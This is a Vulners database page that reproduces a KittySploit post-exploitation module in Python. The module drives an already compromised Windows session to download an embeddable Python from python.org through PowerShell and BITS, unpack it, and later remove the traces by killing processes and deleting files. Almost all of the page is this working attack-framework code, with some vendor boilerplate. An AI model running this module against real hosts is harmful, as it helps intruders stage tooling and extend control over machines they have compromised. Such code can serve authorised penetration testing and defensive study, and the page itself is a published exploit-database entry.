Lucene search
+L

Install Python for Windows

🗓️ 28 Jan 2026 23:28:08Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

KittySploit module downloads and extracts an embeddable Python3 distribution on Windows.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from core.framework.failure import FailureType, ProcedureError
from lib.post.windows.session import win_compat_failure_type, win_probe_powershell
import os
import re
import time

class Module(Post):
    
    __info__ = {
        "name": "Install Python for Windows",
        "description": "Downloads and extracts an embeddable Python3 distribution onto the target",
        "author": "KittySploit Team (based on Metasploit module by Michael Long)",
        "platform": Platform.WINDOWS,
        "session_type": [SessionType.METERPRETER, SessionType.SHELL],
        "references": [
            "https://docs.python.org/3/using/windows.html#windows-embeddable",
            "https://attack.mitre.org/techniques/T1064/"
        ],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [],
         'consumes_capabilities': ['shell'],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }
    
    session_id = OptString("", "Session ID", True)
    python_version = OptString("3.12.1", "Python version to download (e.g., 3.12.1, 3.11.7)", True)
    python_url_base = OptString("https://www.python.org/ftp/python/", "Base URL for Python distributions", False)
    file_path = OptString("", "Path to zip (default: %%TEMP%%\\python-embed.zip). Set if using SKIP_DOWNLOAD", False)
    skip_download = OptBool(False, "Skip download; use existing zip at file_path", False)
    cleanup = OptBool(False, "Remove module artifacts", False)
    
    def _get_session_id_value(self) -> str:
        """Return the current session_id option value as a string."""
        try:
            return str(getattr(self, "session_id", "") or "").strip()
        except Exception:
            return ""
    
    def _get_option_value(self, option_name: str, default=None):
        """Safely get option value"""
        try:
            v = getattr(self, option_name, None)
            if v is None or v == "":
                return default
            return v
        except Exception:
            return default
    
    def _is_meterpreter_session(self) -> bool:
        """Check if the session is a meterpreter session"""
        session_id_value = self._get_session_id_value()
        if not session_id_value or not self.framework or not hasattr(self.framework, 'session_manager'):
            return False
        
        session = self.framework.session_manager.get_session(session_id_value)
        if session:
            session_type = getattr(session, 'session_type', '') or ''
            return session_type.lower() == SessionType.METERPRETER.value.lower()
        return False
    
    def _execute_cmd(self, command: str, timeout: int = 30) -> str:
        """Execute a command via the session"""
        if not command:
            return ""
        
        try:
            if self._is_meterpreter_session():
                # For meterpreter, use shell command
                if not command.startswith("shell ") and not command.startswith("execute "):
                    command = f"shell {command}"
            
            output = self.cmd_execute(command)
            return output.strip() if output else ""
        except Exception as e:
            print_warning(f"Command execution failed: {str(e)}")
            return ""
    
    def _check_powershell(self) -> bool:
        """Check if PowerShell is available"""
        print_status("Checking for PowerShell...")
        if win_probe_powershell(lambda cmd: self._execute_cmd(cmd, timeout=10)):
            print_success("PowerShell is available")
            return True
        print_error("[!] PowerShell is not available")
        return False
    
    def _file_exists(self, file_path: str) -> bool:
        """Check if a file exists on the remote system"""
        check_cmd = f'if exist "{file_path}" (echo EXISTS) else (echo NOTFOUND)'
        result = self._execute_cmd(check_cmd, timeout=5)
        return "EXISTS" in result

    def _get_temp_dir(self) -> str:
        """Get %TEMP% on the target (no spaces, reliable for downloads)."""
        r = self._execute_cmd("echo %TEMP%", timeout=5)
        if r and r.strip():
            return r.strip().rstrip("\\")
        return "C:\\Windows\\Temp"

    def _resolve_absolute_path(self, file_path: str) -> str:
        """Resolve path to absolute on the target. Uses %TEMP% if file_path empty."""
        if not file_path or not file_path.strip():
            return self._get_temp_dir() + "\\python-embed.zip"
        file_path = file_path.replace("/", "\\").strip()
        if file_path.startswith(".\\"):
            file_path = file_path[2:]
        if not file_path:
            return self._get_temp_dir() + "\\python-embed.zip"
        if len(file_path) >= 2 and file_path[1] == ":":
            return file_path  # already absolute
        if file_path.startswith("%") and "%" in file_path[1:]:
            # Expand e.g. %TEMP%\foo
            expanded = self._execute_cmd(f"echo {file_path}", timeout=5)
            if expanded and expanded.strip():
                return expanded.strip().rstrip("\\")
        cwd = self._execute_cmd("cd", timeout=5)
        if not cwd or not cwd.strip():
            cwd = self._execute_cmd("echo %CD%", timeout=5)
        if not cwd or not cwd.strip():
            return file_path
        cwd = cwd.strip().rstrip("\\")
        return cwd + "\\" + file_path
    
    def _cleanup_artifacts(self) -> bool:
        """Remove module artifacts"""
        print_status("Removing module artifacts...")
        try:
            python_version = self._get_option_value('python_version', '3.12.1')
            file_path_abs = self._resolve_absolute_path(self._get_option_value('file_path', ''))
            dest_dir = file_path_abs.replace("/", "\\").rstrip("\\")
            if "\\" in dest_dir:
                dest_dir = dest_dir.rsplit("\\", 1)[0]
            else:
                dest_dir = "."
            python_folder = f"{dest_dir}\\python-{python_version}-embed-win32"
            script = (
                'Stop-Process -Name "python" -Force -ErrorAction SilentlyContinue; '
                'Stop-Process -Name "pythonw" -Force -ErrorAction SilentlyContinue; '
                f'Remove-Item -Force -ErrorAction SilentlyContinue -LiteralPath \'{file_path_abs}\'; '
                f'Remove-Item -Force -Recurse -ErrorAction SilentlyContinue -LiteralPath \'{python_folder}\'; '
            )
            self._execute_cmd('powershell -Command "' + script + '"', timeout=10)
            print_success("Cleanup completed")
            return True
        except Exception as e:
            print_error(f"Cleanup failed: {str(e)}")
            return False
    
    def _download_python(self) -> bool:
        """Download Python embeddable zip file or use existing if skip_download."""
        try:
            python_version = self._get_option_value('python_version', '3.12.1')
            python_url_base = self._get_option_value('python_url_base', 'https://www.python.org/ftp/python/')
            file_path_opt = self._get_option_value('file_path', '')
            skip = self._get_option_value('skip_download', False)
            if isinstance(skip, str):
                skip = skip.lower() in ('true', '1', 'yes')

            arch = "win32"
            python_url = f"{python_url_base}{python_version}/python-{python_version}-embed-{arch}.zip"
            file_path_abs = self._resolve_absolute_path(file_path_opt)

            if skip:
                print_status("SKIP_DOWNLOAD is set; using existing file.")
                if self._file_exists(file_path_abs):
                    print_success(f"Found existing zip: {file_path_abs}")
                    return True
                print_error(f"File not found: {file_path_abs}")
                print_status("Set file_path to the path of the zip, or run download manually (see below).")
                return False

            print_status(f"Downloading from {python_url}")
            print_status(f"Saving to: {file_path_abs}")

            # Try Invoke-WebRequest first (synchronous, works in remote shells; timeout 120s)
            print_status("Trying Invoke-WebRequest (synchronous)...")
            iwr_cmd = (
                'powershell -NoProfile -Command "'
                'try { '
                'Invoke-WebRequest -Uri \'' + python_url + '\' -OutFile \'' + file_path_abs + '\' -UseBasicParsing -TimeoutSec 120; '
                'exit 0 '
                '} catch { Write-Output (\"ERR:\" + $_.Exception.Message); exit 1 }"'
            )
            iwr_result = self._execute_cmd(iwr_cmd, timeout=130)
            if self._file_exists(file_path_abs):
                size_cmd = 'powershell -Command "(Get-Item \'' + file_path_abs + '\').Length"'
                sr = self._execute_cmd(size_cmd, timeout=5)
                if sr:
                    try:
                        file_size = int(sr.strip())
                        if file_size > 1000000:
                            print_success(f"Downloaded ({file_size / (1024*1024):.2f} MB)")
                            return True
                    except ValueError:
                        pass
            if iwr_result and "ERR:" in (iwr_result or ""):
                print_warning("Invoke-WebRequest failed: " + (iwr_result or "").strip()[:200])

            # Fallback: BITS (background; often fails in non-interactive/remote context)
            print_status("Trying background download (BITS)...")
            bits_cmd = (
                'start /B powershell -NoProfile -Command '
                '"Start-BitsTransfer -Source \'' + python_url + '\' -Destination \'' + file_path_abs + '\'"'
            )
            self._execute_cmd(bits_cmd, timeout=10)

            print_status("Waiting for download (up to 2 min)...")
            max_wait = 120
            check_interval = 3
            waited = 0
            while waited < max_wait:
                if self._file_exists(file_path_abs):
                    size1_cmd = 'powershell -Command "(Get-Item \'' + file_path_abs + '\').Length"'
                    size1 = self._execute_cmd(size1_cmd, timeout=5)
                    time.sleep(2)
                    size2_cmd = 'powershell -Command "(Get-Item \'' + file_path_abs + '\').Length"'
                    size2 = self._execute_cmd(size2_cmd, timeout=5)
                    if size1 and size2 and size1.strip() == size2.strip():
                        try:
                            file_size = int(size1.strip())
                            if file_size > 1000000:
                                print_success(f"Downloaded ({file_size / (1024*1024):.2f} MB)")
                                return True
                        except ValueError:
                            pass
                time.sleep(check_interval)
                waited += check_interval
                if waited % 15 == 0:
                    print_status(f"Still waiting... ({waited}s)")

            if self._file_exists(file_path_abs):
                size_cmd = 'powershell -Command "(Get-Item \'' + file_path_abs + '\').Length"'
                sr = self._execute_cmd(size_cmd, timeout=5)
                if sr:
                    try:
                        if int(sr.strip()) > 1000000:
                            print_success("Download completed.")
                            return True
                    except ValueError:
                        pass

            print_error("Automatic download did not complete.")
            print_status("")
            print_status("--- Manual install ---")
            print_status("On the TARGET machine, open PowerShell and run:")
            print_status("")
            print_success(
                'powershell -NoProfile -Command "'
                'Invoke-WebRequest -Uri \'' + python_url + '\' -OutFile \'' + file_path_abs + '\' -UseBasicParsing"'
            )
            print_status("")
            print_status("Or with BITS:")
            print_success(
                'powershell -NoProfile -Command "'
                'Start-BitsTransfer -Source \'' + python_url + '\' -Destination \'' + file_path_abs + '\'"'
            )
            print_status("")
            print_status("Then run this module again with:")
            print_success("  set skip_download true")
            print_success("  set file_path " + file_path_abs)
            print_success("  run")
            return False
        except Exception as e:
            print_error(f"Download failed: {str(e)}")
            import traceback
            traceback.print_exc()
            return False
    
    def _extract_python(self) -> bool:
        """Extract Python embeddable zip file (same dir as zip)."""
        try:
            file_path_opt = self._get_option_value('file_path', '')
            file_path_abs = self._resolve_absolute_path(file_path_opt)
            # Destination = directory containing the zip
            dest_dir = file_path_abs.replace("/", "\\").rstrip("\\")
            if "\\" in dest_dir:
                dest_dir = dest_dir.rsplit("\\", 1)[0]
            else:
                dest_dir = "."

            print_status(f"Extracting: {file_path_abs} -> {dest_dir}")

            # Extract then find python.exe (zip may have root folder or flat structure)
            script = (
                f'$p = \'{file_path_abs}\'; $d = \'{dest_dir}\'; '
                'try { '
                'Expand-Archive -LiteralPath $p -DestinationPath $d -Force -ErrorAction Stop; '
                '$exe = Get-ChildItem -LiteralPath $d -Recurse -Filter "python.exe" -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName; '
                'if ($exe) { Write-Output "EXE:$exe" } else { Write-Output "FAILED:python.exe not found" } '
                '} catch { Write-Output "FAILED:$($_.Exception.Message)" }'
            )
            result = self._execute_cmd('powershell -Command "' + script + '"', timeout=60)

            if result and result.strip().startswith("EXE:"):
                print_success("Python extracted successfully")
                return True
            # Fallback: zip often extracts flat (python.exe directly in dest_dir)
            for candidate in (
                f"{dest_dir}\\python.exe",
                f"{dest_dir}\\python-3.12.1-embed-win32\\python.exe",
                f"{dest_dir}\\python-3.11.7-embed-win32\\python.exe",
            ):
                if self._file_exists(candidate):
                    print_success("Python extracted successfully")
                    return True
            if result and "FAILED" in result:
                err = result.split(":", 1)[1] if ":" in result else result
                print_error(f"Extraction failed: {err.strip()}")
            else:
                print_error("Extraction may have failed - python.exe not found")
            if result:
                print_status(f"Command output: {result}")
            return False
                    
        except Exception as e:
            print_error(f"Extraction failed: {str(e)}")
            import traceback
            traceback.print_exc()
            return False
    
    def run(self):
        """Run the Python installation module"""
        try:
            session_id_value = self._get_session_id_value()
            
            if not session_id_value:
                raise ProcedureError(FailureType.ConfigurationError, "Session ID is required")
            
            print_info("")
            print_success("Starting Python Installation Module...")
            print_info("=" * 70)
            
            # Get options
            cleanup_value = self._get_option_value('cleanup', False)
            if isinstance(cleanup_value, str):
                cleanup_value = cleanup_value.lower() in ('true', '1', 'yes')
            
            # Handle cleanup
            if cleanup_value:
                return self._cleanup_artifacts()
            
            # Check PowerShell availability
            if not self._check_powershell():
                raise ProcedureError(win_compat_failure_type(), "PowerShell is required but not available")
            
            # Download Python
            print_info("=" * 70)
            if not self._download_python():
                raise ProcedureError(FailureType.Unknown, "Failed to download Python")
            
            file_path_abs = self._resolve_absolute_path(self._get_option_value('file_path', ''))
            if not self._file_exists(file_path_abs):
                raise ProcedureError(FailureType.NotFound, f"Python zip file not found: {file_path_abs}")
            
            # Extract Python
            print_info("=" * 70)
            if not self._extract_python():
                raise ProcedureError(FailureType.Unknown, "Failed to extract Python")
            
            # Resolve python.exe path (zip may extract flat as python.exe or into subfolder)
            dest_dir = file_path_abs.replace("/", "\\").rstrip("\\")
            if "\\" in dest_dir:
                dest_dir = dest_dir.rsplit("\\", 1)[0]
            else:
                dest_dir = "."
            find_cmd = f'powershell -Command "(Get-ChildItem -LiteralPath \'{dest_dir}\' -Recurse -Filter python.exe -ErrorAction SilentlyContinue | Select-Object -First 1).FullName"'
            python_exe_path = self._execute_cmd(find_cmd, timeout=10)
            python_exe_path = (python_exe_path or "").strip()
            if not python_exe_path or not self._file_exists(python_exe_path):
                # Fallback: zip often extracts flat (python.exe directly in dest_dir)
                flat_path = f"{dest_dir}\\python.exe"
                if self._file_exists(flat_path):
                    python_exe_path = flat_path
                else:
                    py_ver = self._get_option_value('python_version', '3.12.1')
                    nested_path = f"{dest_dir}\\python-{py_ver}-embed-win32\\python.exe"
                    if self._file_exists(nested_path):
                        python_exe_path = nested_path
                    else:
                        raise ProcedureError(FailureType.NotFound, "Python executable not found after extraction")
            
            # Display success message
            print_info("=" * 70)
            print_success("Python installation completed successfully!")
            print_info("")
            print_status("Python location:")
            print_success(f"    {python_exe_path}")
            print_info("")
            print_status("Example usage (script file avoids shell quoting issues):")
            print_success("    echo print('hello world') > script.py")
            print_success(f'    {python_exe_path} script.py')
            print_info("")
            print_warning("Avoid using python.exe interactively, as it may hang your terminal")
            print_status("Use script files instead of -c for commands with quotes")
            print_info("")
            print_status("To cleanup artifacts, run:")
            print_status("    set cleanup true")
            print_status("    run")
            
            return True
            
        except ProcedureError as e:
            raise e
        except Exception as e:
            import traceback
            traceback.print_exc()
            raise ProcedureError(FailureType.Unknown, f"Python installation error: {str(e)}")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Aug 2026 20:51Current
5.9Medium risk
Vulners AI Score5.9
3